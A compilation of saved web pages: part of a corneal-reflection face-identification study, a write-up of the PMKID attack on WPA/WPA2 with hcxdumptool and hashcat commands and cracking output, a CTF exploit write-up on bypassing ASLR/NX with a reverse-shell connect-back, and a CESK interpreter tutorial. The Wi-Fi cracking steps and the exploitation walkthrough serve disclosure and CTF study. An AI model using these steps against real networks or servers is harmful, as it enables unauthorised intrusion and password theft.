visible to the subject when the photograph was taken**.** Nevertheless, the
relative area of such reflection images is small, as an iris typically
occupies less than 0**.** 5% of frontal face area. The information that can be
extracted from a corneal reflection image is thus limited by the density of
elements in the camera's sensor array**.**

For the current study, we used a 39 megapixel digital camera to take passport-
style photographs of volunteer models**.** In separate exposures, these
volunteers served as _subjects_ , when they were direct subjects of the
photographs, and as _bystanders_ , when they were visible only indirectly via
the subject's corneal reflection**.** Pilot work determined that image area
for reflected bystander faces was smaller than for subject faces by a factor
of around 30,000**.** The quality of the bystander images is thus poor,
despite the high pixel count of the source photographs**.** To establish
whether bystander faces could be identified from the extracted images, we
presented them in Experiment 1 as stimuli in a face matching task
\[11\]–\[15\]**.** To assess effects of familiarity on match performance, we
compared observers who were _familiar_ or _unfamiliar_ with the faces
concerned**.** In Experiment 2, we assessed spontaneous recognition of the
extracted images**.**

#### Ethics Statement****

This study was approved by the Ethics Committee of the College of Science and
Engineering, University of Glasgow**.** All participants provided written
informed consent and appropriate photographic release**.**

#### Image acquisition****

##### High-resolution photography**.**

Eight volunteer photographic subjects \(3 female, 5 male; mean age 23**.** 5
years\) were processed in two groups of four. Each volunteer thus served as
the direct _subject_ of one photograph, and as a _bystander_ in three other
photographs \(Figure 2\)**.** Subjects were photographed from a viewing
distance of approximately 1 m using a Hasselblad H2D 39 megapixel digital
camera \(50 ISO; f8 aperture; 1/250 sec**.** shutter; single shot, manual
focus\) with 120 mm macro lens**.** The room was flash illuminated by two
Bowens DX1000 lamps with dish reflectors, positioned side by side
approximately 80 cm behind the camera, and directed upwards to exclude catch
light**.** Two additional DX1000 flash lamps with soft boxes were positioned
behind baffles on either side of the subject to illuminate the bystanders**.**
Three volunteer bystanders, plus photographer SC and author RJ stood in an arc
formation around the subject at a distance of approximately 1 m \(Figure
3\)**.** Photographic subjects gave written informed consent, as outlined in
the PLOS consent form, to publication of their photographs**.**

<img src='img/Temp2_6047.png' alt='thumbnail' />

**Figure 2**.** Zooming in on the subject's eye reveals hidden
bystanders**.****

\(**a**\) High-resolution face photograph**.** The red frame indicates the
region of interest, which includes the reflective surface of the cornea**.**
\(**b**\) Zoomed view of the region of interest with contrast enhanced \(see
Methods for details of image enhancement\)**.** Five bystanders are clearly
visible in the corneal reflection**.** From left to right, RJ \(author\), CF
\(seated\), IS, SC \(photographer\), and AS**.** The green frame highlights
the face of bystander AS**.** \(**c**\) Enhanced close-up of AS. Gender,
ethnicity, hair color, and approximate age can be clearly discerned, along
with emotional expression and direction of social attention**.**

doi:10.1371/journal.pone.0083325**.** g002

<img src='img/Temp2_6046.png' alt='thumbnail' />

**Figure 3**.** Schematic plan of apparatus and layout for photography**.****

Not to scale.

doi:10**.** 1371/journal.pone.0083325**.** g003

##### Image processing.

The high-resolution photographs measured 5,412 pixels wide by 7,216 pixels
high \(39,052,922 pixels in total\)**.** Whole face area \(excluding hair\)
was approximately 12 million pixels on average, with iris region accounting
for approximately 54,000 pixels on average, or less than 0**.** 5% of the
whole face area. Each volunteer appeared in the corneal reflection image of
three different subjects**.** From these images, the largest reflection of
each bystander's face was selected for presentation in the face matching
experiment**.** Bystander images were extracted as rectangular sections
measuring 27 to 36 pixels wide by 42 to 56 pixels high, capturing the head and
shoulders of the bystander in roughly passport-style framing \(Figure 4\)**.**
Whole face area for the reflected bystanders was 322 pixels on average, or
approximately 0**.** 003% of the whole face area for the photographic
subjects**.** For presentation in the matching experiment, the extracted face
images were rescaled to a height of 400 pixels \(width 244 to 290 pixels\),
using bicubic interpolation to reduce high spatial frequency noise**.**
Brightness and contrast were automatically adjusted using the Auto Contrast
function in Adobe PhotoShop to improve image definition**.** Movie S1 shows a
continuous zoom from subject to bystander**.**

<img src='img/Temp2_6045.png' alt='thumbnail' />

**Figure 4**.** Image processing.**

\(**a**\) Example eye reflection extract, magnified to show coarse pixellation
in the raw image**.** \(**b**\) Resized extract, illustrating the smoothing
effect of bicubic interpolation**.** \(**c**\) Contrast-adjusted image used
for experimental presentation**.**

doi:10.1371/journal.pone.0083325**.** g004

****

# New attack on WPA/WPA2 using PMKID

**Created:**| _9/23/2018 8:59:16 AM_  
---|---  
**Updated:**| _9/23/2018 8:59:16 AM_  
**Author:**| _wishi_  
**Tags:**| _crypto wireless_  
  

  

# New attack on WPA/WPA2 using PMKID

In this writeup, I'll describe a new technique to crack WPA PSK \(Pre-Shared
Key\) passwords.  
  
In order to make use of this new attack you need the following tools:  
  
This attack was discovered accidentally while looking for new ways to attack
the new WPA3 security standard. WPA3 will be much harder to attack because of
its modern key establishment protocol called "Simultaneous Authentication of
Equals" \(SAE\).  
  
The main difference from existing attacks is that in this attack, capture of a
full EAPOL 4-way handshake is not required. The new attack is performed on the
RSN IE \(Robust Security Network Information Element\) of a single EAPOL
frame.  
  
At this time, we do not know for which vendors or for how many routers this
technique will work, but we think it will work against all 802.11i/p/q/r
networks with roaming functions enabled \(most modern routers\).  
  
The main advantages of this attack are as follow:

  * No more regular users required - because the attacker directly communicates with the AP \(aka "client-less" attack\)
  * No more waiting for a complete 4-way handshake between the regular user and the AP
  * No more eventual retransmissions of EAPOL frames \(which can lead to uncrackable results\)
  * No more eventual invalid passwords sent by the regular user
  * No more lost EAPOL frames when the regular user or the AP is too far away from the attacker
  * No more fixing of nonce and replaycounter values required \(resulting in slightly higher speeds\)
  * No more special output format \(pcap, hccapx, etc.\) - final data will appear as regular hex encoded string

* * *
  
Attack details:  
  
The RSN IE is an optional field that can be found in 802.11 management frames.
One of the RSN capabilities is the PMKID.

<img src='img/wireshark_pmkid.png' width='576' height='428' alt='[Image:
wireshark_pmkid.png]' />

The PMKID is computed by using HMAC-SHA1 where the key is the PMK and the data
part is the concatenation of a fixed string label "PMK Name", the access
point's MAC address and the station's MAC address.

Code:

`PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)`
Since the PMK is the same as in a regular EAPOL 4-way handshake this is an
ideal attacking vector.  
  
We receive all the data we need in the first EAPOL frame from the AP.  
  

* * *
  
How to reproduce:  
  
1\. Run hcxdumptool to request the PMKID from the AP and to dump the recieved
frame to a file \(in pcapng format\).

Code:

`$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status`

Output:

> Quote:start capturing \(stop with ctrl+c\)  
>  INTERFACE:...............: wlp39s0f3u4u5  
>  FILTERLIST...............: 0 entries  
>  MAC CLIENT...............: 89acf0e761f4 \(client\)  
>  MAC ACCESS POINT.........: 4604ba734d4e \(start NIC\)  
>  EAPOL TIMEOUT............: 20000  
>  DEAUTHENTICATIONINTERVALL: 10 beacons  
>  GIVE UP DEAUTHENTICATIONS: 20 tries  
>  REPLAYCOUNTER............: 62083  
>  ANONCE...................:
> 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69
If an AP recieves our association request packet and supports sending PMKID we
will see a message "FOUND PMKID" after a moment:

> Quote:\[13:29:57 - 011\] 89acf0e761f4 -> 4604ba734d4e <ESSID>
> \[ASSOCIATIONREQUEST, SEQUENCE 4\]  
>  \[13:29:57 - 011\] 4604ba734d4e -> 89acf0e761f4 \[ASSOCIATIONRESPONSE,
> SEQUENCE 1206\]  
>  \[13:29:57 - 011\] 4604ba734d4e -> 89acf0e761f4 \[FOUND PMKID\]
Note: Based on the noise on the wifi channel it can take some time to recieve
the PMKID. We recommend running hcxdumptool up to 10 minutes before aborting.  
  
2\. Run hcxpcaptool to convert the captured data from pcapng format to a hash
format accepted by hashcat.

Code:

`$ ./hcxpcaptool -z test.16800 test.pcapng`

Output:

> Quote:start reading from test.pcapng  
>  
> summary:  
>  \--------  
>  file name....................: test.pcapng  
>  file type....................: pcapng 1.0  
>  file hardware information....: x86\_64  
>  file os information..........: Linux 4.17.11-arch1  
>  file application information.: hcxdumptool 4.2.0  
>  network type.................: DLT\_IEEE802\_11\_RADIO \(127\)  
>  endianess....................: little endian  
>  read errors..................: flawless  
>  packets inside...............: 66  
>  skipped packets..............: 0  
>  packets with FCS.............: 0  
>  beacons \(with ESSID inside\)..: 17  
>  probe requests...............: 1  
>  probe responses..............: 11  
>  association requests.........: 5  
>  association responses........: 5  
>  authentications \(OPEN SYSTEM\): 13  
>  authentications \(BROADCOM\)...: 1  
>  EAPOL packets................: 14  
>  EAPOL PMKIDs.................: 1  
>  
> 1 PMKID\(s\) written to test.16800
The content of the written file will look like this:

>
> Quote:2582a8281bf9d4308d6f5731d0e61c61\*4604ba734d4e\*89acf0e761f4\*ed487162465a774bfba60eb603a39f3a
The columns are the following \(all hex encoded\):

  * PMKID
  * MAC AP
  * MAC Station
  * ESSID

Note: While not required it is recommended to use options -E -I and -U with
hcxpcaptool. We can use these files to feed hashcat. They typically produce
good results.

  * -E retrieve possible passwords from WiFi-traffic \(additional, this list will include ESSIDs\)
  * -I retrieve identities from WiFi-traffic
  * -U retrieve usernames from WiFi-traffic

Code:

`$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800
test.pcapng`

3\. Run hashcat to crack it.  
  
Basically we can attack this hash as any other hash type. The hash-mode that
we need to use is 16800.

Code:

`$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'`

Output:

> Quote:hashcat \(v4.2.0\) starting...  
>  
> OpenCL Platform \#1: NVIDIA Corporation  
>  ======================================  
>  \* Device \#1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU  
>  \* Device \#2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU  
>  \* Device \#3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU  
>  \* Device \#4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU  
>  
> Hashes: 1 digests; 1 unique digests, 1 unique salts  
>  Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13
> rotates  
>  
> Applicable optimizers:  
>  \* Zero-Byte  
>  \* Single-Hash  
>  \* Single-Salt  
>  \* Brute-Force  
>  \* Slow-Hash-SIMD-LOOP  
>  
> Minimum password length supported by kernel: 8  
>  Maximum password length supported by kernel: 63  
>  
> Watchdog: Temperature abort trigger set to 90c  
>  
>
> 2582a8281bf9d4308d6f5731d0e61c61\*4604ba734d4e\*89acf0e761f4\*ed487162465a774bfba60eb603a39f3a:hashcat\!  
>  
> Session..........: hashcat  
>  Status...........: Cracked  
>  Hash.Type........: WPA-PMKID-PBKDF2  
>  Hash.Target......:
> 2582a8281bf9d4308d6f5731d0e61c61\*4604ba734d4e\*89acf...a39f3a  
>  Time.Started.....: Thu Jul 26 12:51:38 2018 \(41 secs\)  
>  Time.Estimated...: Thu Jul 26 12:52:19 2018 \(0 secs\)  
>  Guess.Mask.......: ?l?l?l?l?l?lt\! \[8\]  
>  Guess.Queue......: 1/1 \(100.00%\)  
>  Speed.Dev.\#1.....: 408.9 kH/s \(103.86ms\) @ Accel:64 Loops:128 Thr:1024
> Vec:1  
>  Speed.Dev.\#2.....: 408.6 kH/s \(104.90ms\) @ Accel:64 Loops:128 Thr:1024
> Vec:1  
>  Speed.Dev.\#3.....: 412.9 kH/s \(102.50ms\) @ Accel:64 Loops:128 Thr:1024
> Vec:1  
>  Speed.Dev.\#4.....: 410.9 kH/s \(104.66ms\) @ Accel:64 Loops:128 Thr:1024
> Vec:1  
>  Speed.Dev.\#\*.....: 1641.3 kH/s  
>  Recovered........: 1/1 \(100.00%\) Digests, 1/1 \(100.00%\) Salts  
>  Progress.........: 66846720/308915776 \(21.64%\)  
>  Rejected.........: 0/66846720 \(0.00%\)  
>  Restore.Point....: 0/11881376 \(0.00%\)  
>  Candidates.\#1....: hariert\! -> hhzkzet\!  
>  Candidates.\#2....: hdtivst\! -> hzxkbnt\!  
>  Candidates.\#3....: gnxpwet\! -> gwqivst\!  
>  Candidates.\#4....: gxhcddt\! -> grjmrut\!  
>  HWMon.Dev.\#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz
> Bus:1  
>  HWMon.Dev.\#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz
> Bus:1  
>  HWMon.Dev.\#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz
> Bus:1  
>  HWMon.Dev.\#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz
> Bus:1  
>  
> Started: Thu Jul 26 12:51:30 2018  
>  Stopped: Thu Jul 26 12:52:21 2018
There's also support for hash-mode 16801, which allows skipping the
computation of the PMK - which is the computation that makes cracking WPA so
slow. Pre-computing PMK can be useful in cases where you are on site and you
cannot transfer a hash to a remote cracking rig because of an NDA. The goal is
to run hashcat on your notebook which you can bring to the site.  
  
The mode 16801 expects a list of pre-computed PMKs, as hex encoded strings of
length 64, as the input wordlist. To pre-compute the PMKs you can use the
hcxkeys tool. The hcxkeys tools require the ESSID, so you need to ask for the
ESSID from your client in advance.

_Seite 2_

08-08-2018, 08:00 AM \(This post was last modified: 08-08-2018, 08:02 AM by
netgab\_joe. _Edit Reason: typos, grammar because of lacking English skills
:\)_ \)

Hi,  
first of all, congratulations to your work - nice job.  
Especially, because the attack is so simple, I'm wondering why nobody
discovered it earlier <img src='img/smile.gif' width='21' height='21'
alt='Smile' />  
  
Mostly for me, I'm writing a short summary of the stuff here:  
http://netgab.net/web/2018/08/08/yawa-ye...-analysis/  
  
However, regarding the question whether "my device is affected" or not:  
  
I guess, consumer grade hardware won't be attackable using this tool, because
these simply do not perform PMKID caching \(i guess\). I did a quick test
using an AVM Fritz\!Box \(popular model in Germany\). There is no PMKID in the
first message of the 4-way handshake.  
=> Therefore, it is not vulnerable, right?\!  
  
However, I tested it as well using enterprise grade equipment \(Cisco\). The
PMKID is included in the first EAPoL message of the 4 way handshake.  
Maybe this is a silly question, but does PMKID including make sense for WPA2
PERSONAL networks?  
In my opinion no, because there is no functional benefit \(except with 802.11r
FT\).  
  
PMKID caching makes sense for WPA2 Enterprise \(802.1X\) networks. However, as
you outlined, the attack does not work for these WLANs. The reason is, that
the PMK is dynamically derived per user per session and is a random value, not
included in any dictionary \(at least I'm sure for all TLS based EAP methods
like EAP-TLS, PEAP, EAP-TTLS etc.\).  
  
So, the combination PMKID caching and PSK networks does not makes sense
\(right?\). However, some vendors might send the PMKID anyways. Despite of the
fact, that the playrules for a WPA2 PSK network doesn't change because of the
new attack, the mitigation for a vendor is pretty simple:  
=> Disable sending of PMKIDs for PSK network \(because it does not make sense,
right\).  
  
The only thing that remains open is the combination of PSK networks with
802.11r FT - because there is a \(small\) functional benefit \(2 messages
instead of 6 during the roaming event\).

  

# StalkR's Blog: ShmooCon CTF Warmup Contest - JavaScrimpd

**Created:**| _1/17/2011 9:36:10 PM_  
---|---  
**Updated:**| _1/17/2011 9:36:28 PM_  
**Author:**| __  
**Tags:**| _ctf art_  
  

### ShmooCon CTF Warmup Contest - JavaScrimpd

Last week-end was ShmooCon CTF Warmup Contest. Three challenges, the last one
being an ELF binary \+ hostname of a server.  
  
Congrats to awesie/zoaedk & tylerni7 of team **PPP** for solving it pretty
quickly. And since they explained the level pretty well, I really invite you
to read their solution.  
  
  

### Valuable binary information

  
In addition to reading the SSH banner, the binary informs us that it has been
compiled under**Ubuntu** with **gcc** 4.3.3:  

[code]

    $ objdump -s -j .comment 063ad0c8271898d6c5e3e83701211f6-JavaScrimpd
    
    063ad0c8271898d6c5e3e83701211f6-JavaScrimpd:     file format elf32-i386
    
    Contents of section .comment:
     0000 4743433a 20285562 756e7475 20342e34  GCC: (Ubuntu 4.4
     0010 2e332d34 7562756e 74753529 20342e34  .3-4ubuntu5) 4.4
     0020 2e3300                               .3.
    
    
[/code]

  
and that it's using libmozjs from xulrunner package 1.9.2.13:  

[code]

    $ readelf -d 6063ad0c8271898d6c5e3e83701211f6-JavaScrimpd
    Dynamic section at offset 0x1f10 contains 23 entries:
      Tag        Type                         Name/Value
     0x00000001 (NEEDED)                     Shared library: [libmozjs.so]
     0x00000001 (NEEDED)                     Shared library: [libc.so.6]
     0x0000000f (RPATH)                      Library rpath: [/usr/lib/xulrunner-1.9.2.13/]
    [...]
    
    
[/code]

These information are really valuable to work with the same **libmozjs.so** as
the server, in order to ease remote exploitation.  
  
  

### Exploit using send\(\) memory leak

  
Using the same techniques I made my own exploit and challenged myself to make
it work under ASLR in addition to NX. In order to do that, we need to:  

  * automatically calculate remote base address of libmozjs using JS's socket.send\(\) memory leak, by trying several addresses: last 12 bits should be the same, decrementing their offset should give same base address
  * send a payload and get its address in the heap, again using socket.send\(\) memory leak to find heap1/heap2 addresses as explained by awesie

I tried to make the exploit code portable and verbose enough to understand.
Also, you can give any shellcode - I used a very common shell\_reverse\_tcp
from metasploit.  
  
It gives:  

[code]

    $ ./3.py
    Assuming libmozjs base address at 0xb7673000
    Assuming heap buffer at 0x08ccfe30 with 0 padding
    Done. Have shell?
    # and new connection appears in the listening netcat
    
    
[/code]

The resulting exploit can be found here: colored syntax or plain .py.  
  
  

### Exploit not using send\(\) memory leak: stack brute-force

  
Back to  _recv\(\)_ stack-based buffer overflow. Right after the saved
instruction pointer \(seip\) is the first arg of the function - a pointer to
JS **context** \- which is used before reaching ret \(by _JS\_strdup_\(\) and
_JS\_newstring\(\)_\). This is why we could not overwrite it and have a
regular exploitation and had to use a **leave/ret** stack pivot into our
buffer inside the JS code with our new stack.  
  
We could overwrite **context** if we had its value. But how to get it without
any memory leak? We can just brute-force it as if it was a stack cookie \(see
pi3's article in phrack \#67\). To distinguish good from bad results, we can
add a  _send\( "it works"\)_ in the JS code after the _recv\(\)_. If we
receive "it works" it means we correctly guessed **context** value, timeout
meaning we failed. But doing this we also smash the saved base pointer
\(sebp\) and saved instruction pointer \(seip\), so we need their value first.
How? Same method, brute-force. All in all we have a 12 bytes  _byte per byte_
brute-force.  
  
Note: the stack brute-force works here because the server uses  _recv\(\)_
\(no extra character being added like with  _fgets\(\)_\) and also because it
only  _forks\(\)_ and does not  _execve\(\)_ itself again \(in that case ASLR
would change all addresses\). In local it takes about 2 minutes to brute-force
the 12-bytes \(min 12 tries, max 256\*12=3072 tries\).  
  
What next? After using a pop+ret gadget to skip **context** and other stack
variables that are unusable, we now have a regular stack-based buffer
overflow. We can then return to _send@PLT_ to send us back any memory area\!
The only problem is to provide the correct file descriptor, the one of our
socket. Actually we can get it by using JS  _send\(socket.fileno\)_ before
calling  _recv\(\)_ , so we can send our buffer overflow payload using its
value.  
  
So now we have an arbitrary memory leak. Let's not fall into the first
solution using libmozjs and choose another approach. Since the binary is not
position independent, we know where it is mapped in memory, especially its
**GOT** \(Global Offset Table\) section. There, we can find function pointers
already resolved \(since already called\) and directly pointing to the
**libc** :_signal\(\)_ ,  _recv\(\)_ ,  _listen\(\)_ ,  _setuid\(\)_ , etc.
Assuming we have the same libc \(we guessed Ubuntu version\), we can then
deduce remote libc base address.  
  
What if it is not the same **libc** but an obscure and different one? We can
guess its base address and leak its content remotely using our arbitrary
memory leak. Once fully obtained, we can read its content and find what we
need.  
  
Now that we have access to any **libc** function, many solutions are possible.
I chose to  _mmap\(\)_ an **rwx** area, download a shellcode over the socket
using  _recv\(\)_ \(with the same socket fileno leak I explained before\) and
return to it.  
  
Again, I tried to make the exploit code portable and verbose enough to
understand. Again, you can give any shellcode, I used the same connect-back as
before.  
  
It gives:  

[code]

    $ ./3b.py
    Brute-forcing the stack to get sebp, seip & context addresses
     * found byte 0x98
     * found byte 0x2d
     * found byte 0xff
     * found byte 0xbf
     * found byte 0xa7
     * found byte 0x97
     * found byte 0x75
     * found byte 0xb7
     * found byte 0xd0
     * found byte 0x26
     * found byte 0x69
     * found byte 0x09
    Found: sebp, seip, context = 0xbfff2d98, 0xb77597a7, 0x096926d0
    Remote libc at 0xb7593000
    Done. Have shell?
    # and new connection appears in the listening netcat
    
    
[/code]

  
This exploitation also bypasses ASLR, but takes more time because of the
brute-force. Anyway I like it because we don't have to make any assumption
about remote libraries thanks to the arbitrary memory leak using  _send\(\)_.
If remote libraries are unknown, we can find where they are from the GOT then
dump and analyze them.  
  
The resulting exploit can be found here: colored syntax or plain .py.  

# Writing an interpreter, CESK-style

**Created:**| _8/16/2012 9:22:17 AM_  
---|---  
**Updated:**| _8/16/2012 9:22:17 AM_  
**Author:**| __  
**Tags:**| _compiler-building software_  
  

# Writing an interpreter, CESK-style

\[article index\] \[email me\] \[@mattmight\] \[+mattmight\] \[rss\]

Matthias Felleisen's CESK machine provides a simple yet powerful architecture
for implementing interpreters \(among many other benefits\).

The CESK approach easily models languages with rich features like:

  * mutation;
  * recursion;
  * exceptions;
  * first-class continuations;
  * garbage collection; and
  * multi-threading.

The host language need not support _any_ of these features.

The CESK machine is a state-machine in which each state has four components: a
\(C\)ontrol component, an \(E\)nvironment, a \(S\)tore and a \(K\)ontinuation.
One might imagine these respectively as the instruction pointer, the local
variables, the heap and the stack.

This article discusses how to build a CESK machine for A-Normalized lambda
calculus \(ANF\), a high-level intermediate representation for functional
programs.

A working interpreter is provided in Racket.

## Machine-based interpreters

The CESK machine is a machine-based interpreter.

\(Most would actually call it a _semantics_ , since it is formally defined.\)

At a high-level, a machine-based interpreter has four components:

  1. Prog \-- the set of programs.
  2. Σ \-- the set of machine states.
  3. inject:Prog→Σ \-- a program to initial-state injection function.
  4. step:Σ⇀Σ \-- a \(partial\) state to state transition function.

Given a program  p∈Prog , the interpreter first injects it into an initial
machine state  ς 0 :

ς 0 =inject\(p\).

The algorithm for running the interpreter is then simple:

[code]

     _ς_ := _ς_ 0
     **while** _ς_ is defined for _step_ :
        _ς_ := _step_(_ς_)
    
[/code]

### A note on determinism

The structure of the  step function assumes deterministic evaluation.
Nondeterministic evaluation requires a function that yields multiple potential
successor states:  step:Σ→P \(Σ\) .

## C, E, S and K

The CESK machine takes its name from the four components that comprise a state
of its execution: the control string, the environment, the store and the
continuation.

### C

Depending on the language being interpreted, the control string could be as
simple as a program counter, a statement or an expression.

In this article, the control string is an expression.

### E

The environment is a structure, almost always a map, that associates variables
with an address in the store.

The environment can be implemented as a purely functional map \(hash- or tree-
based\) or even directly as a first-class function.

### S

The store, which some might liken to a heap or memory, is a map from addresses
to values.

Like the environment, the store can be a map \(hash- or tree-based\) or a
first-class function.

### K

The continuation component is a representation of the program stack, often
times represented exactly as a list of frames, or as an implicitly linked
list.

## A-Normal Form

A-Normal Form is a normalized variant of the lambda-calculus.

Transforming a language to ANF is straightforward, and it simplifies the
structure of an interpreter.

Here's a sample BNF grammar for a reasonable variant on ANF:

[code]

     _lam_ ::= (λ (_var_ 1 ... _var_ _N_) _exp_)
    
     _aexp_ ::= _lam_
           |  _var_
           |  #t  |  #f
           |  _integer_
           |  (_prim_ _aexp_ 1 ... _aexp_ _N_)
    
     _cexp_ ::= (_aexp_ 0 _aexp_ 1 ... _aexp_ _N_)
           |  (if _aexp_ _exp_ _exp_)
           |  (call/cc _aexp_)
           |  (set! _var_ _aexp_)
           |  (letrec ((_var_ 1 _aexp_ 1) ... (_var_ _N_ _aexp_ _N_)) _exp_)
    
     _exp_ ::= _aexp_
          |  _cexp_
          |  (let ((_var_ _exp_)) _exp_)
    
     _prim_ ::= +  |  -  |  *  |  =
    
[/code]

There are three kinds of expressions:

  * Atomic expressions \(_aexp_\) are those for which evaluation must always terminate, never cause an error and never produce a side effect.
  * Complex expressions \(_cexp_\) may not terminate, may produce an error and may have a side effect. However, a complex expression may defer execution to only one other complex expression. For instance, `letrec` defers directly to its body, and _if_ defers to only one of its arms.
  * Expressions \(_exp_\) can be atomic, complex or let-bound. A let-bound expression will first defer execution to the binding expression, and then resume execution in the body.

This structure forces order of evaluation to be specified _syntactically_.

For instance, the meaning of the expression `((f x) (g y))` is undefined until
we know whether `(f x)` or `(g y)` is executed first. In ANF, this expression
is illegal, and must be written:

[code]

    (let ((fx (f x)))
     (let ((gy (g y)))
       (fx gy)))
    
[/code]

or

[code]

    (let ((gy (g y)))
     (let ((fx (f x)))
       (fx gy)))
    
[/code]

so that there is no ambiguity.

## A formal definition

A formal definition of the CESK machine guides the code.

If you're unfamiliar with formal mathematical notation, you may want to review
my article on the connection between discrete mathematics and code.

If you're only interested in running code, skip ahead.

The state-space,  Σ , of the CESK machine for ANF has four components:

ς ∈Σ=Exp×Env×Store×Kont.

In case it's not clear,  Exp is the set of of all expressions defined by the
earlier grammar. Also, the notation  ς ∈Σ is a hint that the symbol  ς will be
used to denote members of the set  Σ .

### Environments

The environment in a machine state is a partial function that maps a variable
to its address:

ρ∈Env=Var⇀Addr

It has to be a partial function, because not all variables are in every scope.

Once again, the hint  ρ∈Env indicates that the symbol  ρ will be used to
denote environments.

### Stores

A store maps addresses to values:

σ ∈Store=Addr⇀Value.

In a CESK machine, variable look-up is a two-stage process: first to an
address \(through some environment\), then to a value \(through the store\).

### Values

There are five kinds of values in this machine--void, booleans, integers,
closures and first-class continuations:

val∈Value::=void|z|\#t|\#f|clo\(lam,ρ\)|cont\(κ\)

In the set of values,  z is an integer, while  \#t and  \#f are booleans.

A closure pairs a lambda term with an environment to define the values of its
free variables. The environment is necessary because a term like `(λ () x)` is
undefined, unless an environment specifies the value of `x`.

Continuations are included in values because the language includes `call/cc`,
which enables the creation of first-class continuations.

### Continuations

A continuation is effectively the program stack.

Creating a continuation allows us to divert to a complex sub-computation and
return later.

So, a continuation needs enough information to resume execution.

For this machine, diverting to a sub-computation only happens in let-bound
expressions.

Given a let-bound expression `(let ([v exp]) body)`, execution will first go
to `exp`, which means that when it finishes evaluating `exp`, the result will
bind to `v`, and execution will resume with `body`.

In a CESK machine, the assumption is that the current computation is always
executing on behalf of some continuation awaiting its result. \(The special
initial continuation, which awaits the result of the program, is called  halt
.\)

Consequently, continuations nest within continuations.

Finally, every continuation must contain the local environment that knows the
addresses of the variables in scope.

Putting this all together lets us formally define the space of continuations:

κ∈Kont::=letk\(v,ρ,e,κ\)|halt

### Evaluating atomic expressions

Atomic expressions \( aexp in the grammar\) are easy to evaluate with an
auxilary semantic function,  A :AExp×Env×Store⇀Value :

Integers evaluate to themselves:

A \(z ,ρ,σ \)=z .

Booleans do too:

A \(\#t,ρ,σ \)=\#t;

A \(\#f,ρ,σ \)=\#f .

Lambda terms become closures:

A \(lam,ρ,σ \)=clo\(lam,ρ\).

Primitive expressions are evaluated recursively:

A \(\(prim aexp 1 …aexp n \),ρ,σ \)= O\(prim\)⟨A \(aexp 1 ,ρ,σ \),…,A \(aexp n
,ρ,σ \)⟩.

where  O:Prim→\(Value ∗ ⇀Value\) maps a primitive operation \(by name\) to its
corresponding operation.

### Stepping forward

To define the step function,  step:Σ⇀Σ , for this machine, we need a case for
each expression type.

#### Procedure call

In a procedure call, the  step function first evaluates the expression for
procedure to be invoked, and then the expressions for the arguments to be
supplied.

Then it applies that procedure to those arguments.

step\(\(aexp 0 aexp 1 …aexp n \),ρ,σ ,κ\)= apply proc\(proc,⟨value 1 ,…,value
n ⟩,σ ,κ\), where proc=A \(aexp 0 ,ρ,σ \) value i =A \(aexp i ,ρ,σ \)

and  apply proc:Value×Value ∗ ×Store×Kont⇀Σ is an auxiliary function \(defined
below\) that applies a procedure to a value.

#### Return

When the expression under evaluation is an atomic expression, it indicates
that the current sub-computation is finished and we need to return the result
to the current continuation, which has been patiently awaiting it:

step\(aexp,ρ,σ ,κ\)=applykont\(κ,A \(aexp,ρ,σ \),σ \),

where the auxilary function  applykont:Kont×Value×Store⇀State \(defined
below\) applies a continuation to a value.

#### Conditionals

Conditional evaluation is straightforward: the condition is evaluated, and the
right expression is chosen for the next state.

step\(\(if aexp e true e f alse \),ρ,σ ,κ\)=\{\(e true ,ρ,σ ,κ\) \(e f alse
,ρ,σ ,κ\) A \(aexp,ρ,σ \)≠\#f otherwise.

#### Let

Evaluating `let` will force the creation of a continuation.

Since execution first evaluates the bound expression, the continuation will
contain enough information to resume execution in the body of the `let`.

step\(\(let \(\[v exp\]\) body\),ρ,σ ,κ\)=\(exp,ρ,σ ,κ ′ \),

where  κ ′ =letk\(v,body,ρ,κ\) .

#### Mutation

The CESK approach makes mutation straightforward: look up the address to be
changed, and then overwrite that address in the store.

step\(\(set\! v aexp\),ρ,σ ,κ\)=applykont\(κ,void,σ ′ \),

where  σ ′ =σ \[ρ\(v\)↦A \(aexp,ρ,σ \)\] .

**Notation.** Given a function \(or partial function\)  f :X →Y , the function
f \[x↦y \] is identical to  f except that  x yields  y :

\(f \[x↦y \]\)\(x\)=y

\(f \[x↦y \]\)\(x ′ \)=f \(x ′ \) if x≠x ′ .

#### Recursion

Handling recursion requires establishing self-reference. In a language like
Scheme, the construct `letrec` is often compiled into "lets and sets"; that
is:

[code]

     (letrec ([_v_ 1 _exp_ 1] 
              ...
              [_v_ N _exp_ N])
       _body_)
    
[/code]

becomes:

[code]

     (let ([_v_ 1 (void)] 
           ...
           [_v_ N (void)])
      (set! _v_ 1 _exp_ 1)
      ...
      (set! _v_ N _exp_ N)
      _body_)
    
[/code]

A CESK machine can fake this by extending the environment first, and then
evaluating the expressions in the context of the extended environment:

step\(\(letrec \(\[v 1 aexp 1 \]…\[v n aexp n \]\) body\),ρ,σ ,κ\)=\(body,ρ ′
,σ ′ ,κ\),

where:

a 1 ,…,a n are fresh addresses in σ ρ ′ =ρ\[v i ↦a i \] value i =A \(aexp i ,ρ
′ ,σ \) σ ′ =σ \[a i ↦value i \].

#### First-class continuations

First-class continuations are a powerful construct, since they allow the
simulation of so many other control constructs. For instance, exceptions are
merely syntactic sugar on top of continuations.

And, continuations can do many other things too.

The procedure `call/cc` captures the current continuation as a first-class
procedure:

step\(\(call/cc aexp\),ρ,σ ,κ\)= apply proc\(proc,⟨value cc ⟩,σ ,κ\), where
proc=A \(aexp,ρ,σ \) value cc =cont\(κ\).

#### Applying procedures

